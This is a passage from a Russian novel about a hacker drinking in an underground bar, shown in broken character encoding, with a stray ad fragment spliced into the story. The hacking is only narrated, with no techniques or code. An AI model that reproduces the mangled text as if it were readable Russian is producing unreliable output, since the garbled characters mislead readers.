ãî, êòî äîëæåí ïðèåõàòü çà íåé, êàê îíà ñàäèòñÿ â ìàøèíó è óåçæàåò, à îí ñìîòðèò

åé âñëåä, è âîò î÷åðåäíîå ðàçî÷àðîâàíèå â åãî æèçíè, åùå îäíà ïîùå÷èíà, åùå
îäíà íåóäà÷à... Â ïîñëåäíåå âðåìÿ ÷òî-òî ìíîãî òàêèõ íåóäà÷. Õâàòèò, äîâîëüíî.

Âñå-òàêè îí ïðîñëåäèë çà îôèöèàíòêîé äî òåõ ïîð, ïîêà îíà íå ñêðû-
ëàñü â äâåðè ñ íàäïèñüþ «Òîëüêî ïåðñîíàë!». Êîãäà îíà èñ÷åçëà èç ïîëÿ çðå-
íèÿ, Ìàëûøåâ ñòðÿõíóë ïåëåíó ñ ãëàç è îáðàòèë âíèìàíèå íà áàð, îñâåùåí-
íûé íåæíûì ñâåòîì. Áîëüøîé ïîëóêðóã ñ äâóìÿ áîëüøèìè ïèâíûìè êðàíàìè
è ïóùåííûìè ïî ñàìîìó âåðõó íàïðàâëÿþùèìè äëÿ áîêàëîâ. Ñòåêëî ñâåðêà-
ëî, áóäó÷è îòìûòûì äî áëåñêà, íà êðàíàõ ñ òðóäîì ÷èòàëèñü êàêèå-òî ñëîâà,
îáâèâàþùèå èõ ïî ñïèðàëè. Çà ñòîéêîé øëà ñâîÿ æèçíü.

Âîçëå ñòîéêè ñòîÿë ìîëîäîé ÷åëîâåê, ïðèñëîíèâøèñü ê íåé ãðóäüþ è
ãëÿäÿ â ãëàçà äåâóøêå, ñòîÿùåé ïî òó ñòîðîíó. Áàðìåíøà, êàê è îôèöèàíòêà,
áûëà âûñîêàÿ, ñòðîéíàÿ. Êîãî ïîïàëî ñþäà ÿâíî íå áðàëè, î ïåðñîíàëå çàáî-
òèëèñü. Ïàðåíü è äåâóøêà âåëè êàêîé-òî ðàçãîâîð. Ïîõîæå, îí ó íèõ íå î÷åíü
êëåèòñÿ, íî íå ïîòîìó ÷òî îíè ðàññåðæåíû äðóã äðóãîì — ñêîðåå, îíè íàëà-
æèâàþò êîíòàêòû, çíàêîìÿòñÿ. Ïåðåä íèìè íà ñòîéêå ëåæàëè öèôðîâîé ôî-
òîàïïàðàò è ìîáèëüíûé òåëåôîí. Äåâóøêà ÷òî-òî îáúÿñíèëà ïàðíþ, ïîìàõàâ
ðóêàìè íàä ãîëîâîé, ïîñëå ÷åãî çàñìåÿëàñü.
— Ó íåå, íàâåðíîå, íà íîãàõ òîæå êîëãîòêè â ñåòî÷êó, — ïðîèçíåñ âñëóõ Ìà-
ëûøåâ. — Îíè çäåñü âñå ñëîâíî áëèçíåöû.

È òî÷íî. Îíà îòîøëà íåìíîãî â ñòîðîíó, êîãäà åå îòîçâàë îôèöèàíò, è
Ñåðãåé ñî ñâîåãî âîçâûøåíèÿ ñóìåë ðàçãëÿäåòü òî÷íî òàêóþ æå ñåòî÷êó —
÷åðíóþ, ñðåäíåãî ðàçìåðà, ñî øâîì.

Ñïóñòÿ íåñêîëüêî ñåêóíä äåâóøêà âåðíóëàñü. Ìîëîäîé ÷åëîâåê òåì âðåìå-
íåì íàáëþäàë çà íåé è, ïîõîæå, óêðàäêîé ñôîòîãðàôèðîâàë, îòêëþ÷èâ âñïûø-
êó, ÷òîáû íå ïðèâëå÷ü âíèìàíèÿ, áëàãî âíóòðè áàðà áûëî äîñòàòî÷íî ñâåòëî.
— Ïàïàðàööè... — Ìàëûøåâ íàõìóðèë áðîâè. — Âåçåò æå... ß áû âîò òàê çà-
ïðîñòî ê äåâóøêå íå ïîäîøåë. Õîòÿ êòî çíàåò...

Â ýòî âðåìÿ âåðíóëàñü ñ ïîäíîñîì äåâóøêà, ïðèíèìàâøàÿ çàêàç. Íà
ñòîë àêêóðàòíî áûëî âûñòàâëåíî ïèâî, òàðåëêè ñ çàêóñêîé. Íà ñàëôåòêó ðÿ-
äîì ëåãëè ïðèáîðû. Ìàëûøåâ êèâíóë, áëàãîäàðÿ, è ñíîâà óâèäåë åå êîëãîòêè.
— Ó âàñ êðàñèâûå íîãè, — ìàøèíàëüíî ïðîèçíåñ îí è ïîõîëîäåë — ñåé÷àñ
äåâóøêà äîëæíà áûëà âëåïèòü åìó ïîùå÷èíó. Íó, èëè, â êðàéíåì ñëó÷àå, ñî-
îáùèòü î ïðèñòàâàíèÿõ îõðàííèêó. È íàêðûëñÿ åãî èíòåðíåò ìåäíûì òàçîì...
— Ñïàñèáî, — äåâóøêà óëûáíóëàñü è áóäòî áû íåâçíà÷àé ïîâåðíóëàñü ê íå-
ìó òàê, ÷òîáû îí ìîã ïðî÷èòàòü íà áåéäæèêå åå èìÿ. — ×òî-íèáóäü åùå?
— Íó, íå òîëüêî íîãè. Åùå ãðóäü, — ìàøèíàëüíî îòâåòèë Ìàëûøåâ è òîëüêî ïî-
òîì ïîíÿë, ÷òî îíà èìåëà â âèäó ñîâñåì äðóãîå: íå ïðèíåñòè ëè åìó åùå ÷òî-òî,
÷åãî îí íå çàêàçàë ñðàçó. — Îé, ïðîñòèòå, ïîæàëóéñòà, ÿ ñðàçó íå ïîíÿë... ß ÷å-
ãî-òî íàáðàëñÿ ñåãîäíÿ... Êàê-òî íå çàëàäèëîñü âîò ñ óòðà, à ïîòîì... Äà ÷åãî ãîâî-
ðèòü! À ñ âàìè ìîæíî ïîçíàêîìèòüñÿ ïîáëèæå? — âäðóã ñïðîñèë îí. — Íó, êàê âîí
òîò ïàðåíü ó ñòîéêè. Ïîäîøåë è ãîâîðèò. Ïîõîæå, íîìåðàìè ñåé÷àñ îáìåíÿþòñÿ.
— Ñòîéêà áàðà — ýòî äðóãîå äåëî, — òèõî ñêàçàëà äåâóøêà. — ß æå íå ìîãó
ïðèñåñòü ê âàì çà ñòîë. Íî ìîÿ ñìåíà ñêîðî çàêîí÷èòñÿ, ïðèäóò âå÷åðíèå äåâ-
÷îíêè, è òîãäà, ïîæàëóé, ÿ ìîãëà áû...

Îíà ìíîãîîáåùàþùå óëûáíóëàñü è óøëà. À Ñåðãåé ïîíÿë, ÷òî åìó íàäî
ïðîäåðæàòüñÿ íåêîòîðîå âðåìÿ, áîðÿñü ñ íåèçáåæíûì àëêîãîëüíûì îïüÿíå-
íèåì. Îí ïîäêëþ÷èëñÿ ê èíòåðíåòó, ïîáåæàë ãëàçàìè íåñêîëüêî íîâîñòíûõ
ñàéòîâ, íå íàøåë íè÷åãî èíòåðåñíîãî è ñîáðàëñÿ áûëî ïðîâåðèòü ïî÷òó, íî
âäðóã óâèäåë íà áàðíîé ñòîéêå ðÿäîì ñ ìîëîäûì ÷åëîâåêîì íàëàäîííèê.

À âîò ýòî áûëî óæå î÷åíü è î÷åíü èíòåðåñíî...

* * * * *
Îí ïîäîøåë, óëûáíóëñÿ, êàê áû ïîêàçûâàÿ îäíîâðåìåííî ñâîþ âåæëèâîñòü è
íåïîíèìàíèå ñèòóàöèè, êàê áóäòî îí íå ïîíÿë, ÷òî îò íåãî õîòÿò, è ïðîñèò
îáúÿñíåíèé.

— Òàòüÿíà, — ïðåäñòàâèëàñü ïåðâûì äåëîì äåâóøêà. — Âàì ó íàñ íðàâèòñÿ?
— Âîò åñëè áû âû ñïðîñèëè, ÷òî èìåííî íðàâèòñÿ, ÿ áû ñ óäîâîëüñòâèåì íàçâàë
âàñ, — òóò æå íàøåëñÿ îí è ïðåäñòàâèëñÿ â îòâåò. — Ìàêñèì. Î÷åíü ïðèÿòíî.
— Ìíå òîæå... Ñåêóíäî÷êó, — îíà îòîøëà â ñòîðîíó, ÷òî-òî íàáðàëà íà êîì-
ïüþòåðå è áûñòðî âåðíóëàñü. — Ðàáîòû ìíîãî... Íå óñïåâàþ. Íàïàðíèê îò ïè-
âà îòîéòè íå ìîæåò, âñå êàê ñ öåïè ñîðâàëèñü, à âñÿ îñòàëüíàÿ ðàáîòà íà ìíå.
Âîò ñêîðî ñìåíùèöà ïîÿâèòñÿ è ìîæíî áóäåò âçäîõíóòü ñâîáîäíåå.

Ìàêñèì ñëóøàë åå è îñòàâàëñÿ â íåäîóìåíèè: çà÷åì åãî ïîçâàëè, ïðèâ-
ëåêàÿ âíèìàíèå ñîòîâûì òåëåôîíîì. Äåâóøêà, ïîõîæå, óæå è çàáûëà îá
ýòîì, ïðîäîëæàÿ ùåáåòàòü î òðóäíîñòÿõ ðåìåñëà áàðìåíà, è îí áûë âûíóæ-
äåí ëåãîíüêî, áóäòî áû ñëó÷àéíî ñòóêíóòü òåëåôîíîì ïî ñòîéêå áàðà. Îíà ïî-
ñìîòðåëà íà íåãî, à ïîòîì ñïîõâàòèëàñü:
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— Ïîíÿëà, ïîíÿëà, Ìàêñèì. Ïðîøó ïðîùåíèÿ. Äåëî â òîì, ÷òî ÿ óâèäåëà ó âàñ
íà ñòîëå òåëåôîí. Êàçàëîñü áû, ÷òî â ýòîì òàêîãî? Çäåñü ó âñåõ òåëåôîíû...
— Äåéñòâèòåëüíî, — Ìàêñèì óëûáíóëñÿ è ïîíÿë, ÷òî íåîòðûâíî ñìîòðèò íà
åå ãðóäü, òî÷íåå íà òî, ÷òî îíà ïîçâîëÿëà âèäåòü îêðóæàþùèì, ðàññòåãíóâ
âåðõíþþ ïóãîâèöó áëóçêè.
— Íî ó âàñ áûë êàêîé-òî ðàññòðîåííûé âèä, — ïîêà÷àëà Òàòüÿíà ãîëîâîé. —
ß ïðàâà?

«×åñòíî ãîâîðÿ, íå äóìàþ, — ïðèçíàëñÿ ñàì ñåáå Ìàêñèì. — Õîòÿ
âäðóã ÿ òàê âûãëÿæó ñî ñòîðîíû? Ýòàêèì çàìó÷åííûì, óñòàëûì áèçíåñìåíîì,
êîòîðûé óæå ñëàáî ïðåäñòàâëÿåò ñåáå, êàê ñìîæåò äîáðàòüñÿ äî ïîñòåëè, è
ãîòîâ óïàñòü òàì, ãäå ñòîèò?»
— Äà, âû, áåçóñëîâíî, íàáëþäàòåëüíû, — êèâíóë îí, ïîíèìàÿ, ÷òî äëÿ óäà÷-
íîãî çíàêîìñòâà íàäî îáÿçàòåëüíî ïîäûãðàòü. — Óñòàë, çíàåòå ëè. Ðàáîòà,
êó÷à äåë, áåçäàðíûå ñîòðóäíèêè, âàëþòà ñêà÷åò, íåôòü òî äîðîæàåò, òî... Äà
áîã ñ íèìè, ñ äåëàìè, ÷åãî ÿ î íèõ! Òàòüÿíà, âû ïîçâàëè ìåíÿ, ïîêàçàâ òåëå-
ôîí, è ÿ ðåøèë, ÷òî âû õîòèòå ñî ìíîé ïîçíàêîìèòüñÿ ïîáëèæå, õîòÿ, åñëè
÷åñòíî, ýòî áûë áû óæ î÷åíü ñìåëûé æåñò ñ âàøåé ñòîðîíû, ñîãëàñèòåñü...

Äåâóøêà ñìóòèëàñü è ñïðîñèëà:
— Âû äåéñòâèòåëüíî èñòîëêîâàëè ìîé æåñò èìåííî òàê?
— Íó... À êàê? Èëè ÿ òóò æå â âàøèõ ãëàçàõ ñòàë íåêèì èñïîð÷åííûì òèïîì,
êîòîðûé áåç çàçðåíèÿ ñîâåñòè çíàêîìèòñÿ â áàðàõ ñ äåâóøêàìè, ÷òîáû ïî-
ìàòðîñèòü è áðîñèòü?
— Àäìèíèñòðàòîð ñìîòðèò, — âíåçàïíî ñêàçàëà îíà è îòâåðíóëàñü. Ìàêñèì
ïîâåðòåë ãîëîâîé, íèêàêîãî àäìèíèñòðàòîðà ïîáëèçîñòè íå íàøåë è ïîíÿë,
÷òî îíà ïðîñòî ñìóòèëàñü è íå ñìîãëà íàéòè ïîâîäà ïîðåàëèñòè÷íåå. Íå íàé-
äÿ íè÷åãî ëó÷øå, îí ñôîòîãðàôèðîâàë åå, áëàãîðàçóìíî îòêëþ÷èâ âñïûøêó,
è ïîðàäîâàëñÿ ñâîåé óäà÷å.

Ñïóñòÿ íåêîòîðîå âðåìÿ îíà ïðåêðàòèëà ïðîòèðàòü áîêàëû ñòîÿ ñïè-
íîé ê íåìó, ïîâåðíóëàñü è ñêàçàëà:
— Ó íàñ òóò ðåñòîðàí íà äâàäöàòü ìåòðîâ ïîä çåìëåé — ãëóáîêî äëÿ ñîòîâîé
ñâÿçè, ïîíèìàåòå?
— Óæå çàìåòèë. Òåëåôîí íå áåðåò, — ñîãëàñíî êèâíóë Ìàêñèì. Òîëüêî çà-
øåë è ñðàçó ïîíÿë âñå ïðåëåñòè ýòîãî ìåñòà. Åñëè õî÷åøü ñêðûòüñÿ îò âñåõ
è âñÿ è áûòü àáñîëþòíî ïî-÷åñòíîìó íåäîñòóïíûì, ñïóñòèñü ïîä çåìëþ. À òóò
ëèàíû, ïîïóãàè, äûì êàëüÿíà... È òèøèíà...

«È òîëüêî ìåðòâûå ñ êîñàìè ñòîÿò», — òàê è ïðîñèëîñü íà ÿçûê, íî îí
ïîáîÿëñÿ îáèäåòü åå è ïðîìîë÷àë.
— Äà óæ, çîíà íåäîñòóïíîñòè, — êèâíóëà Òàòüÿíà. — Ïîðîé ïðîñòî óæàñ,
êëèåíòû ðóãàþòñÿ, îñîáåííî çèìîé, êîãäà íå õî÷åòñÿ íà óëèöó âûõîäèòü,
åñëè çâîíîê ñðî÷íûé. Íî ó íàñ òóò åñòü ìàëåíüêèé ñåêðåò...
— Íåóæåëè? — óäèâèëñÿ Ìàêñèì, ïîêà åùå íå ïîíèìàÿ, î ÷åì ýòî îíà.
— Òóò åñòü òàêîå ìåñòî, ãäå òåëåôîíû ëîâÿò ñåòü, — êèâíóëà Òàòüÿíà, îáðà-
äîâàííàÿ ôàêòîì òîãî, ÷òî ñóìåëà ïðîèçâåñòè âïå÷àòëåíèå íà ìîëîäîãî ÷å-
ëîâåêà ñâîåé îñâåäîìëåííîñòüþ. — Ôàíòàñòèêà êàêàÿ-òî, íî ýòî èñòèííàÿ
ïðàâäà. Íèêòî òîëêîì ïîíÿòü íå ìîæåò: äâàäöàòü ìåòðîâ ïîä çåìëåé, êó÷à êà-
êèõ-òî ïåðåêðûòèé (çäåñü ðàíüøå áûëî áîìáîóáåæèùå) è âñå ðàâíî... Âîò
åñëè ñåñòü âî-îí çà òîò ñòîëèê, âèäèòå — òàì åùå ïàðåíü ñèäèò ñ íîóòáóêîì...
— Ê íåìó ïðèñîñåäèòüñÿ?
— Íåò, íå çà åãî ñòîëèê, à ðÿäîì, òàì, ãäå ñòîèò ïàëüìà è êëåòêà ñ ïîïóãàåì... —
îíà ìàõíóëà ðóêîé â òó ñòîðîíó. — Òàê âîò ïðÿìî ïîä êëåòêîé è íèãäå áîëüøå,
íà òåëåôîíàõ ïîÿâëÿåòñÿ óñòîé÷èâûé ïðèåì. Ìû îá ýòîì êîìó ïîïàëî íå ñîîá-
ùàåì, à òî íà÷íóò áåãàòü òóäà çâîíèòü áåç êîíöà, ïòèöó áåäíóþ ñ óìà ñâåäóò...
— À ÿ, çíà÷èò, íå êòî ïîïàëî, — ïîíèìàþùå ïîäìèãíóë Ìàêñèì.
— À âû ìíå ñðàçó ïîíðàâèëèñü, — ÷åñòíî ñêàçàëà Òàòüÿíà, è Ìàêñèì ïîíÿë:
îíà íå âðåò. — Âîò òîëüêî îáèäíî áóäåò, åñëè ÿ âàì ýòî ðàññêàçàëà, à âû
ñåé÷àñ ïîéäåòå è ïîçâîíèòå ñâîåé äåâóøêå...
— Ó ìåíÿ íåò äåâóøêè, — ïîêà÷àë ãîëîâîé Ìàêñèì. — À âîò òåëåôîí, åñëè
îòñþäà äåéñòâèòåëüíî ìîæíî ïîçâîíèòü, ïðèãîäèòñÿ. Íîóòáóêà, êàê ó òîãî
ïàðíÿ, ó ìåíÿ íåò, à â èíòåðíåò ÿ áû ñåé÷àñ âûøåë. Åñòü êîå-êàêàÿ ðàáîòà. 
À âû ñêîðî îñâîáîäèòåñü?
— ×åðåç ñîðîê ìèíóò, — äàæå íå ãëÿäÿ íà ÷àñû, îòâåòèëà Òàòüÿíà. — Èëè
îêîëî òîãî.
— Êàê îñâîáîäèòåñü, ïîäõîäèòå êî ìíå çà ñòîëèê, — ïðèãëàñèë Ìàêñèì. —
À ÿ ïîêà êîå-÷òî óëàæó... Ïîä ïîïóãàåì. Ïðèäåòå?

Îíà êèâíóëà.
— Íó òîãäà óâèäèìñÿ ÷åðåç ñîðîê ìèíóò.

Îí ïîäìèãíóë åé è ñ íåîõîòîé îòîøåë îò ñòîéêè áàðà. Òàòüÿíà âñå
áîëüøå è áîëüøå ïðèòÿãèâàëà åãî.

Âåðíóâøèñü çà ñâîé ñòîëèê, îí âçãëÿíóë íà ïîïóãàÿ â êëåòêå: áîëüøîé
õîõëàòûé êàêàäó ñïîêîéíî ïîêà÷èâàëñÿ íà æåðäî÷êå, íå èçäàâàÿ íè çâóêà.
Ìàêñèì ïðèùóðèë ãëàçà, âûñòðàèâàÿ â ãîëîâå íåêèé ïëàí ðàáîòû, ïîòîì
âçÿë òåëåôîí è êîìïüþòåð è íàïðàâèëñÿ ê ñòîëèêó, çà êîòîðûì, åñëè âåðèòü
Òàòüÿíå, áûëà äîñòóïíà ñîòîâàÿ ñâÿçü.

Êîãäà îí ïðîõîäèë ìèìî ñòîëèêà, çà êîòîðûì ñèäåë èçðÿäíî íàáðàâ-
øèéñÿ ïàðåíü ñ íîóòáóêîì, îí ïî÷óâñòâîâàë íà ñåáå åãî íåïðèÿçíåííûé

âçãëÿä, íî íå ðåøèëñÿ âñòðåòèòüñÿ ñ íèì ãëàçàìè. Íå èç òðóñîñòè. Ïðîñòî ïî-
ñëå ðàçãîâîðà ñ êðàñèâîé æåíùèíîé, âçâîëíîâàâøåé åãî ïî ïîëíîé ïðî-
ãðàììå, íå õîòåëîñü âèäåòü ÷òî-òî ïüÿíîå è ïðîòèâíîå. Îí îïóñòèëñÿ â êðå-
ñëî, ïîëîæèë âñå ñâîè äåâàéñû íà ñòîëèê, ïðîâåðèë òåëåôîí.

Àíòåííà ïîÿâèëàñü ñïóñòÿ ïðèìåðíî ìèíóòó, êîãäà îí óæå ñòàë ñîìíå-
âàòüñÿ â ïðàâäèâîñòè ñëîâ Òàòüÿíû. Îí êèâíóë âðîäå áû òåëåôîíó, à íà ñà-
ìîì äåëå Òàòüÿíå, êîòîðóþ îòñþäà áûëî âèäíî äîñòàòî÷íî ïëîõî.
— È ïðàâäà, ÷óäåñà êàêèå-òî, — ñîãëàñèëñÿ îí, ïðåäñòàâèâ ñåáå, íàñêîëüêî
ãëóáîêî îí ñåé÷àñ íàõîäèòñÿ. — Íå áóäåì òåðÿòü âðåìÿ. Ó ìåíÿ åñòü ñîðîê
ìèíóò... Íó, èëè ïîêà áàòàðåéêà íå ñÿäåò.

Îí ïîäêëþ÷èëñÿ ê èíòåðíåòó, «ãîëóáîé çóá» ñâÿçàë åãî íàëàäîííèê ñî
âñåì ìèðîì. Âçÿâ â ðóêè ñòèëî, Ìàêñèì ïðèíÿëñÿ çà ñâîè îáû÷íûå äåëà.

Åãî äðóçåé âñåãäà ïîðàæàëà òà ñòåïåíü êîíöåíòðàöèè, ñ êîòîðîé îí
óõîäèë â ðàáîòó. Âåñü ìèð âîêðóã ïåðåñòàâàë ñóùåñòâîâàòü äëÿ íåãî: èìåëè
ñìûñë òîëüêî ðàáîòà è åå ðåçóëüòàò. È åùå íåèçâåñòíî, ÷òî âàæíåå. Ãîíîðà-
ðû íàòàëêèâàëè íà ìûñëü, ÷òî âàæåí èìåííî ðåçóëüòàò, íî åñëè ñóäèòü ïî ïî-
ëó÷åíèþ êàéôà, íà ïåðâîì ïëàíå áûë ñàì ïðîöåññ. Âîò è ñåãîäíÿ îí, åäâà
ïî÷óâñòâîâàâ, êàê îò íåãî ê ìèðó ïîòÿíóëàñü íåâèäèìàÿ íèòî÷êà, ñîñðåäîòî-
÷èëñÿ íà èíôîðìàöèè, ïîñòóïàâøåé îò åãî àãåíòîâ. Îí êëàññèôèöèðîâàë
äàííûå, ðàñêëàäûâàë èõ ïî ïîëî÷êàì è äåëàë âûâîäû. Âûâîäû, íà îñíîâàíèè
êîòîðûõ îí äîëæåí áûë ñäåëàòü ñâîþ ðàáîòó.

Íî ñêâîçü ýòè âûâîäû, ñêâîçü áàéòû èíôîðìàöèè, ïåðåä íèì ïîñòîÿííî
âñïëûâàëî ëèöî äåâóøêè, çàõâàòèâøåé åãî ñåðäöå. Ëèöî Òàòüÿíû. Îíî íåóëî-
âèìî ïðîñêàêèâàëî ìåæäó ñòðàíèöàìè èíòåðíåòà, ïðîíèêàëî â åãî ñîçíàíèå
îòêóäà-òî ñ ñàìûõ ãðàíèö çðåíèÿ — è çàñòàâëÿëî ñåðäöå áèòüñÿ ñèëüíåå.

À êîãäà ñåðäöå áüåòñÿ ñèëüíåå, î÷åíü ðåäêî ñìîòðèøü ïî ñòîðîíàì...

* * * * *
Ìàëûøåâ îòõëåáíóë ïèâà, ïîñòàâèë êðóæêó íà êàðòîíêó ñ ýìáëåìîé «Õîë-
ñòåí» è îòêèíóëñÿ â êðåñëå. Ïàðåíü ó áàðíîé ñòîéêè ïî êàêèì-òî ïðè÷èíàì
ïðèâëåêàë åãî âíèìàíèå. Êàçàëîñü, îò íåãî ìîæíî îæèäàòü âñåãî. Ñëèøêîì
áëàãîïîëó÷íî îí âûãëÿäåë, äàæå ÷åðåñ÷óð.

Ýòàêèé ìàæîð, óìåþùèé íàëàæèâàòü îòíîøåíèÿ ñ äåâóøêàìè â òå÷å-
íèå íåñêîëüêèõ ñåêóíä. (Ñàì Ñåðãåé óæå óñïåë ïîçàáûòü, êàê îí ðèíóëñÿ
çíàêîìèòüñÿ ñ ïåðâîé ïîïàâøåéñÿ åìó îôèöèàíòêîé è îíà, ìåæäó ïðî÷èì,
ñîãëàñèëàñü ïðèéòè ê íåìó çà ñòîëèê ïî îêîí÷àíèè ñìåíû.) Äåëîâîé êîñòþì,
äîðîãîé òåëåôîí, ñåðüåçíûé íàëàäîííèê. Äîñòàòî÷íî áîãàòàÿ çàêîëêà äëÿ
ãàëñòóêà. Ñâåðêàþùèå òóôëè. Íà òîì ñòîëèêå, îòêóäà îí ïðîøåë ê áàðó, —
«Êðîìáàõåð», ïî ñòî âîñåìüäåñÿò ðóáëåé êðóæêà, òàðåëêà ñ áëèí÷èêàìè ñ
ñåìãîé (Ìàëûøåâ çàãëÿíóë â ìåíþ, ïðîâåðèë öåíû — äîðîãîâàòî). Íàâåðíÿ-
êà ó âõîäà ìàøèíà, à îí ïüåò ïèâî, çíà÷èò, íå áîèòñÿ áûòü ïîéìàííûì â íå-
òðåçâîì âèäå çà ðóëåì. À ìîæåò áûòü, ó íåãî åñòü âîäèòåëü, êîòîðûé ïðèåäåò
çà íèì ïî ïåðâîìó æå çâîíêó.
— Äà ÿ è ñàì... — áóðêíóë Ìàëûøåâ, íî îñåêñÿ. Ñàì îí áûë äàëåê îò òîãî ìè-
ðà, â êîòîðîì âðàùàëñÿ ýòîò ìàæîð. Èç äîðîãèõ âåùåé ó íåãî áûë òîëüêî
íîóòáóê, íà êîòîðûé îí êîïèë òðè ñ ïîëîâèíîé ãîäà, ïîäðàáàòûâàÿ â ìàãàçè-
íå ïî ïðîäàæå îðãòåõíèêè. Êîïèë, âî ìíîãîì îòêàçûâàÿ ñåáå è íå óñïåâàÿ
ïîðîé çà öåíàìè è ïðîãðåññîì. Åäâà ïîÿâëÿëàñü áîëåå èëè ìåíåå ïðèëè÷íàÿ
ñóììà, êàê òóò æå âûõîäèëî ÷òî-òî íîâîå, ñîâðåìåííîå, áûñòðåå è óìíåå, íà-
äåæíåå è êðàñèâåå. È ïðèõîäèëîñü íà÷èíàòü âñå ñíà÷àëà.

Áåçóñëîâíî, äåíüãè ó íåãî åñëè è íå áûëè, òî ÁÛÂÀËÈ. Îí óìåë äåëàòü
òàêèå âåùè, êîòîðûå â ìèðå ñòîèëè î÷åíü äîðîãî. Îí óìåë äîáûâàòü èíôîð-
ìàöèþ, ïðè÷åì äåëàë ýòî î÷åíü è î÷åíü íåïðèíóæäåííî, èãðàþ÷è, ÷òî ëè.
Íåëüçÿ áûëî íàçâàòü ýòî òàëàíòîì — ïðîñòî îí ÷óâñòâîâàë, êàê ðåøèòü ïðî-
áëåìó. ×óâñòâîâàë.

Êàê ðàç òàêîå ÷óâñòâî âðåìÿ îò âðåìåíè ïðèíîñèëî åìó íåïëîõîé äî-

õîä. Íà÷àëîñü âñå ñ âïîëíå íåâèííîãî âçëîìà ÷óæèõ ïî÷òîâûõ ÿùèêîâ íà îá-
ùåäîñòóïíûõ ñåðâèñàõ òèïà mail.ru è list.ru, à ïîòîì — âñå äàëüøå è äàëüøå...
Îí äîáûâàë èíôîðìàöèþ èç ëþáûõ äîñòóïíûõ òî÷åê çåìíîãî øàðà. Ïîòîì èç
íåäîñòóïíûõ. Ïîòîì çåìíîãî øàðà åìó ñòàëî ìàëî, íî, ê ñîæàëåíèþ, íà
áëèçëåæàùèõ íåáåñíûõ òåëàõ Ñåòè íå áûëî.

Ôàíàòèê. Ôàíàòèê èíòåðíåòà. Âàõõàáèò âçëîìà. ×åëîâåê, ïðèäåðæè-
âàþùèéñÿ êðàéíèõ âçãëÿäîâ â îòíîøåíèè Ñåòè, è ïðè âñåì ïðè òîì ñîâåð-
øåííî ñïîêîéíûé, ñêðîìíûé è ñîìíåâàþùèéñÿ â îáû÷íîé ïîâñåäíåâíîé
æèçíè. Åãî íåóäà÷à ñ Êàòåé — æèâîé ïðèìåð òîìó. Åãî ìîçã íå óìåë ñòðîèòü

ÎÄÍÀ ÄÀÌÀ ÏÎÏÛÒÀËÀÑÜ
ÐÀÑÑÊÀÇÀÒÜ ÂÑÅÌ Î ÒÎÌ, ÊÀÊ
ÎÍÀ ÂÏÅÐÂÛÅ ÏÎÏÐÎÁÎÂÀËÀ
ÝÒÎÒ ÀÐÎÌÀÒÍÛÉ ÄÛÌ...
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ïðîãíîçû íàñ÷åò îòíîøåíèé ñ äåâóøêàìè, â îòëè÷èå îò õàêåðñêîé ðàáîòû.
... Ìîëîäîé ÷åëîâåê, ñòàâøèé îáúåêòîì åãî èçó÷åíèÿ, îòîøåë îò áàðà,

íî íå âåðíóëñÿ çà ñâîé ñòîëèê, à ïî÷åìó-òî ïîøåë êóäà-òî â ñòîðîíó Ñåðãåÿ.
Ïðÿìî âîçëå åãî ñòîëèêà îí ïîâåðíóë íàëåâî, ïîäíûðíóë ïîä íàâèñàþùóþ
ëèàíó è ïðèñåë ïî äðóãóþ ñòîðîíó èñêóññòâåííîé ñòåíêè, ðàçäåëÿâøåé èõ êà-
áèíêè. Ïîïóãàé â êëåòêå ñêîñèë íà íåãî ñâîé ãëàç, ïåðåñòóïèë ñ íîãè íà íîãó,
íî íå èçäàë íè çâóêà.

Ñåðãåé âûòÿíóë øåþ, êàê æèðàô, ÷òîáû ðàçãëÿäåòü, çà÷åì æå ýòîò ÷å-
ëîâåê ñìåíèë ñâîå ìåñòî, ïîçàáûâ î ïèâå è áëèí÷èêàõ. Áûëî ïëîõî âèäíî, ïî-
ëóìðàê ñêðàäûâàë âñå. Ïàðåíü ïîëîæèë íà ñòîë íàëàäîííèê è ïðèíÿëñÿ êîë-
äîâàòü íàä íèì.
— Òåëåôîí... — ïðîáóð÷àë Ñåðãåé. — Òåëåôîí çäåñü íå áåðåò. Äóðà÷îê...

È â ýòî âðåìÿ íà åãî íîóòáóêå çàïèùàë îïîçíàâàòåëü «ãîëóáîãî çóáà».
Ãäå-òî ðÿäîì çàðàáîòàë Bluetooth. Ñåðãåé âçãëÿíóë íà ýêðàí, ïî íèçó êîòîðî-
ãî áûëî íàïèñàíî «Íàéäåíî äâà óñòðîéñòâà. Ïðîèçâåñòè ñèíõðîíèçàöèþ?»
— ×óøü êàêàÿ-òî, — ïîêà÷àë îí ãîëîâîé è ïðîòÿíóë ðóêó ê êðóæêå ñ ïèâîì. —
Íàõðåíà çäåñü âñå ýòî? Òåëåôîí æå... À âäðóã?..

Îí ñäåëàë âèä, ÷òî ðåøèë ïîñìîòðåòü ïîïóãàÿ ïîáëèæå. Íåòâåðäûå íî-
ãè ïîíåñëè åãî ê òîìó ñòîëèêó, ãäå ñèäåë ïàðåíü.

«Òàê... Ïîïóãàé, ïîïóãàé... Òåëåôîí... Âêëþ÷åí?.. Äà. Êàê ýòî ìîæåò
áûòü? Íàëàäîííèê? ×òî-òî òûêàåò ñòèëîì... Òîëüêî íå ïðèâëåêàòü âíèìàíèÿ,
òîëüêî íå ïðèâëåêàòü...»

Â ýòîò ìîìåíò îí ñïîòêíóëñÿ è åäâà íå óïàë. ×åëîâåê ïîäíÿë íà íåãî
ãëàçà ëèøü íà ìãíîâåíüå è ïðîäîëæèë ñâîå çàíÿòèå. Ñóäÿ ïî âñåìó, ñåé÷àñ
íèêòî íå ìîã îòâëå÷ü åãî îò ðàáîòû.
— Öûïà-öûïà, — ïðîãîâîðèë çàïëåòàþùèìñÿ ÿçûêîì Ñåðãåé, ïîñòó÷àë ïî
êëåòêå íîãòåì è ñïðîñèë ó ïòèöû: — Ñèäèøü? Íó-íó, ñèäè-ñèäè. Ïèâà íå õî-
÷åøü?

Ïîïóãàé ñìîòðåë íà íåãî îäíèì ãëàçîì — îäíîâðåìåííî ïðåçðèòåëüíî,
ñëîâíî íåäîëþáëèâàë ïüÿíûõ, è íåäîâåð÷èâî.
— Ëàäíî, õðåí ñ òîáîé, — ìàõíóë Ìàëûøåâ ðóêîé è íàïîñëåäîê êèíóë âíèìà-
òåëüíûé âçãëÿä íà ýêðàí íàëàäîííèêà. — Ïîéäó ÿ, ðàç òåáå ïèâà íå íàäî.

Îõðàííèê ïðîâîäèë åãî âíèìàòåëüíûì âçãëÿäîì, íî ðåøèë, ÷òî, ñóäÿ ïî
âñåìó, ïîäâûïèâøèé êëèåíò íå ñîáèðàëñÿ õóëèãàíèòü.

